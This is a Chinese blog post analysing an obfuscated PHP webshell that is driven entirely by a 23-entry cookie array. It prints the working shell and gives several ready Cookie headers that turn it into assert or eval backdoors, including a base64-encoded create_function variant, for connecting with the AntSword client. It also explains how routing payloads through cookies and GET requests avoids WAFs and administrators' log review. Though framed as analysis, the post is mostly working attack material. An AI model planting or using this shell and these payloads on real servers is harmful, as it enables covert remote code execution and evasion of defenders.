一个有趣的Shell分析以及自己的一些想法 ——yzddMr6

前言

前一段时间有很多同学问我这个shell,看了下确实比较有意思,并且顺便也想讲一些自己的想法。

<?php
$p=$_COOKIE;(count($p)==23&&in_array(gettype($p).count($p),$p))?(($p[59]=$p[59].$p[72])&&($p[91]=$p[59]($p[91]))&&($p=$p[91]($p[90],$p[59]($p[31])))&&$p()):$p;
?>

语法分析

比较复杂的样子,一点点看吧。

首先p等价于cookie数组,属性是一个array。

后面一长串其实是个三段式

第一部分:条件

(count($p)==23&&in_array(gettype($p).count($p),$p))

也就是说p这个字典的长度要必须是23,并且`gettype(p).count(p)`拼接后的值必须在p这个字典里。

因为p是array,count(p)=23,所以也就是说cookie中必须有一个值是array23

第二部分:条件成立时执行

(($p[59]=$p[59].$p[72])&&($p[91]=$p[59]($p[91]))&&($p=$p[91]($p[90],$p[59]($p[31])))&&$p())

注意这里已经出现了变量函数的部分了 ,这两句将是后面讲的重点

$p[59]($p[91]) 可以变为 assert($_POST['cmd'])等等

$p=$p[91]($p[90],$p[59]($p[31])) 可以变为create_function('',eval($_POST[cmd]))等等

第三部分:条件不成立时执行

这部分没卵用。

Payload

这是某论坛大佬给出的payload

image

可以看到是相当于拼接了一个eval(strrev(倒置的create_function(,eval($_POST[cmd]))))(差不多这个意思)

然后就可以用密码是cmd的一句话连接了。

但是想一想,因为里面有大量的可控参数,所以其实有很多玩法。

举几个例子

最短的用法,91处直接写命令

为了方便我把$p给var_dump了出来


image
Cookie: 1; 2; 3; 4; 5; 6; 7; 8; 9; 10; 11; 12; 13; 14; 15; 16; 17; 18=array23; 19; 20; 59=assert; 72=; 91=phpinfo(); 

还可以通过GET传参

image
Cookie: 1; 2; 3; 4; 5; 6; 7; 8; 9; 10; 11; 12; 13; 14; 15; 16; 17; 18=array23; 19; 20; 59=assert; 72=; 91=@eval($_GET[a]); 

当然也可以改成POST,用蚁剑连接

image
image
Cookie: 1; 2; 3; 4; 5; 6; 7; 8; 9; 10; 11; 12; 13; 14; 15; 16; 17; 18=array23; 19; 20; 59=assert; 72=; 91=@eval($_POST[a]); 

直接在cookie里明文出现@eval($_POST[a]);肯定是不太好的,容易被拦截。

我们别忘了第二处出现变量函数的地方

($p=$p[91]($p[90],$p[59]($p[31])))&&$p())

这里可以满足我们的各种编码需求。

论坛中的payload是用strrev函数编码过的,也就是字符串反转,我们当然也可以用其他的比如base64

Cookie: 1; 2; 3; 4; 5; 6; 7; 8; 9; 10; 11; 12; 13; 14; 15; 16; 17; 18=array23; 31=ZXZhbChwaHBpbmZvKCkpOw==; 90; 59=base64_; 72=decode; 91=Y3JlYXRlX2Z1bmN0aW9u; 

其中31是eval(phpinfo()); 91是create_function

image

转化成蚁剑能够连接的一句话

也就是把31处改为eval($_POST[cmd]);的base64编码,注意这里最后一定要加分号。

image

然后用蚁剑连接就可以了。

反思扩展

总结一下这个shell构思的巧妙之处

  1. shell没有明显的eval assert $_POST $_GET等常规特征

  2. 动态函数的形式,可以用多种编码进行传输payload

  3. 用cookie传payload,在一定程度上逃避WAF常见的POST跟GET型流量查杀

这里就想到一个问题,在网络对♂抗的时候经常有人发出疑问:

我的shell是免杀的,我的马也藏得很深,但是为什么我的shell总是能被对方找到?

尽管你的shell是免杀的,也藏在了很深的目录,也有可能你的流量也是层层编码过的,但是常见的一句话连接工具不管是菜刀还是蚁剑还是冰蝎也好,都难逃一个特点就是POST传输。

因为正常的业务中,大多数情况下都是只需GET请求,只有修改或者上传等操作的时候才需要POST。

但是一旦你的shell连接上后,你在蚁剑中的每个操作,每个查询,都会对应一次甚至多次POST发包。

管理员在日志中看到某一个文件短时间内被同一IP连着POST了几十次,用脚趾头想想就知道有问题。。。

所以在我看来,以后的方向可能就是GET请求+cookie或者http头传输payload。

kali上著名的工具weevely也是采用了GET+COOKIE传payload的模式:Weevely命令传输分析

但是命令行总是不方便,如果能够用拓展性强大的蚁剑能实现就好了。

那么如何实现呢?

这个等我学会了再给大家分享。。。。。。

留下了不学无术的泪水.jpg

最后编辑于
?著作权归作者所有,转载或内容合作请联系作者
  • 序言:七十年代末,一起剥皮案震惊了整个滨河市,随后出现的几起案子,更是在滨河造成了极大的恐慌,老刑警刘岩,带你破解...
    沈念sama阅读 214,128评论 6 493
  • 序言:滨河连续发生了三起死亡事件,死亡现场离奇诡异,居然都是意外死亡,警方通过查阅死者的电脑和手机,发现死者居然都...
    沈念sama阅读 91,316评论 3 388
  • 文/潘晓璐 我一进店门,熙熙楼的掌柜王于贵愁眉苦脸地迎上来,“玉大人,你说我怎么就摊上这事?!?“怎么了?”我有些...
    开封第一讲书人阅读 159,737评论 0 349
  • 文/不坏的土叔 我叫张陵,是天一观的道长。 经常有香客问我,道长,这世上最难降的妖魔是什么? 我笑而不...
    开封第一讲书人阅读 57,283评论 1 287
  • 正文 为了忘掉前任,我火速办了婚礼,结果婚礼上,老公的妹妹穿的比我还像新娘。我一直安慰自己,他们只是感情好,可当我...
    茶点故事阅读 66,384评论 6 386
  • 文/花漫 我一把揭开白布。 她就那样静静地躺着,像睡着了一般。 火红的嫁衣衬着肌肤如雪。 梳的纹丝不乱的头发上,一...
    开封第一讲书人阅读 50,458评论 1 292
  • 那天,我揣着相机与录音,去河边找鬼。 笑死,一个胖子当着我的面吹牛,可吹牛的内容都是我干的。 我是一名探鬼主播,决...
    沈念sama阅读 39,467评论 3 412
  • 文/苍兰香墨 我猛地睁开眼,长吁一口气:“原来是场噩梦啊……” “哼!你这毒妇竟也来了?” 一声冷哼从身侧响起,我...
    开封第一讲书人阅读 38,251评论 0 269
  • 序言:老挝万荣一对情侣失踪,失踪者是张志新(化名)和其女友刘颖,没想到半个月后,有当地人在树林里发现了一具尸体,经...
    沈念sama阅读 44,688评论 1 306
  • 正文 独居荒郊野岭守林人离奇死亡,尸身上长有42处带血的脓包…… 初始之章·张勋 以下内容为张勋视角 年9月15日...
    茶点故事阅读 36,980评论 2 328
  • 正文 我和宋清朗相恋三年,在试婚纱的时候发现自己被绿了。 大学时的朋友给我发了我未婚夫和他白月光在一起吃饭的照片。...
    茶点故事阅读 39,155评论 1 342
  • 序言:一个原本活蹦乱跳的男人离奇死亡,死状恐怖,灵堂内的尸体忽然破棺而出,到底是诈尸还是另有隐情,我是刑警宁泽,带...
    沈念sama阅读 34,818评论 4 337
  • 正文 年R本政府宣布,位于F岛的核电站,受9级特大地震影响,放射性物质发生泄漏。R本人自食恶果不足惜,却给世界环境...
    茶点故事阅读 40,492评论 3 322
  • 文/蒙蒙 一、第九天 我趴在偏房一处隐蔽的房顶上张望。 院中可真热闹,春花似锦、人声如沸。这庄子的主人今日做“春日...
    开封第一讲书人阅读 31,142评论 0 21
  • 文/苍兰香墨 我抬头看了看天上的太阳。三九已至,却和暖如春,着一层夹袄步出监牢的瞬间,已是汗流浃背。 一阵脚步声响...
    开封第一讲书人阅读 32,382评论 1 267
  • 我被黑心中介骗来泰国打工, 没想到刚下飞机就差点儿被人妖公主榨干…… 1. 我叫王不留,地道东北人。 一个月前我还...
    沈念sama阅读 47,020评论 2 365
  • 正文 我出身青楼,却偏偏与公主长得像,于是被迫代替她去往敌国和亲。 传闻我的和亲对象是个残疾皇子,可洞房花烛夜当晚...
    茶点故事阅读 44,044评论 2 352